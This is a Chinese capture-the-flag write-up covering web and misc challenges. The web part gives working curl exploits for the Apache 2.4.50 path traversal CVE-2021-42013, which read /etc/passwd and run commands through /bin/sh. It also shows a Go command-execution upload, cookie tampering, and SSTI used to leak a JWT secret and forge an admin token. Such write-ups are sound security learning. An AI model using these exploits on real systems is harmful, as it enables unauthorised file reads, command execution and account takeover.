感觉这次难度还比较友好,没有队友一个人肝了一天肝到第18,不过全是web和misc,有两道题耽搁时间有点久最后也没出。最后半个小时才开始看密码题,感觉再给点时间的话也能出,有点可惜。
WEB
Power Cookie
以游客身份登录,发现服务器返回了set-cookie
将set-cookie返回的值上送,并修改成管理员即可
Cookie: admin=1; Path=/; Domain=127.0.0.1; Max-Age=3600
魔法浏览器
查看源代码,找到魔法浏览器的UA值
重放报文并修改User-Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
getme
本题考点CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
,直接上exp
可以实现任意文件读取
curl -v --path-as-is http://node4.buuoj.cn:25908/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
直接读根目录下的/flag
文件发现是个假的,然后再用命令执行的exp打,这里浪费了点时间,发现怎么都找不到flag,一度怀疑是否要提权。最后在/diajgk/djflgak/qweqr/eigopl/
这个路径下发现了,藏得也太深了。。。
curl -v --data "echo;more /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg -al" 'http://node4.buuoj.cn:25908/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
hackme
进入对应页面可以显示对应的内容,发现users
页面显示:
猜测页面对应的是users.go
文件。
发现存在/upload
页面,可以上传go文件,上传一个试试。
这里注意文件名只能是users.go
,别的文件名无效,这里应该是有白名单控制。
访问users
发现成功了。
下面思路就是上传一个可以命令执行的go文件,将结果输出到页面上,且文件名为users
,然后再访问users页面即可。
代码如下:
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
const ShellToUse = "bash"
func Shellout(command string) (error, string, string) {
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd := exec.Command(ShellToUse, "-c", command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
return err, stdout.String(), stderr.String()
}
func main() {
err, out, errout := Shellout("cat /flag")
if err != nil {
log.Printf("error: %v\n", err)
}
fmt.Println("--- stdout ---")
fmt.Println(out)
fmt.Println("--- stderr ---")
fmt.Println(errout)
}
fxxkgo
下载附件进行代码审计,一共给了如下几只接口:
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
// 登录后访问,返回id
r.POST("/", rootHandler)
// 获取flag
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")
}
注册接口 /register
注册用户,上送id和pw
登录接口 /auth
登录用户,上送id和pw,返回token
返回的token
经过JWT编码,可以看到不是管理员
因此这里思路就是进行JWT伪造,不过首先需要知道JWT的密钥,接着往下看。
(不知道叫啥名字我暂且称之为)根目录接口
根据代码审计,服务器会拿请求头的X-Token
字段进行解码,因此我们上送一下
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}
发现可以回显用户的id
又根据代码审计,用户账户中有一个secret_key
字段,即为JWT的加密密钥。
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
那么这里考虑利用SSTI
漏洞泄露出用户账户信息。
1、使用/register
接口注册,id上送为{{.}}
2、使用auth登录,得到token
3、请求头X-Token参数上送刚才2回显的token,访问根目录
得到密钥为fasdf972u1041xu90zm10Av
使用密钥伪造jwt,将is_admin
标识是否管理员的字段值修改为true
使用伪造的jwt请求flag即可
MISC
不懂PCB的厨师不是好黑客
下载附件,直接搜索关键字DAS
attachment/PCB/c004aa25e9434d05ba7ddeeafecc278c.epcb
,在这个文件内找到flag
卡比
经过信息搜集,发现是星之卡比·探索发现
中的神秘文字
解密得到ptrh{gwdvswvqbfiszsz}
根据密文结构推测是维吉尼亚密码
,尝试进行解密,密钥kirby
神必流量
分析流量包,发现有其中一个USBMS协议的流量传输了一个7z文件
将文件提取出来,解压需要密码,尝试弱密码123456
成功解压
打开是一个链接,是Google云盘的两个文件,下载需要科学上网
下载得到一个压缩包,仍然是弱密码123456
解压
得到一个main.exe
和output.txt
,尝试运行exe文件
逆向分析exe文件,将txt文件名修改为flag.txt,再次运行,得到flag